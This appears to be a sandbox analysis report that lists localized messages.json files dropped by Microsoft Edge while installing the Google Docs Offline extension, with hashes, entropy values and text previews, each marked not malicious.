Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
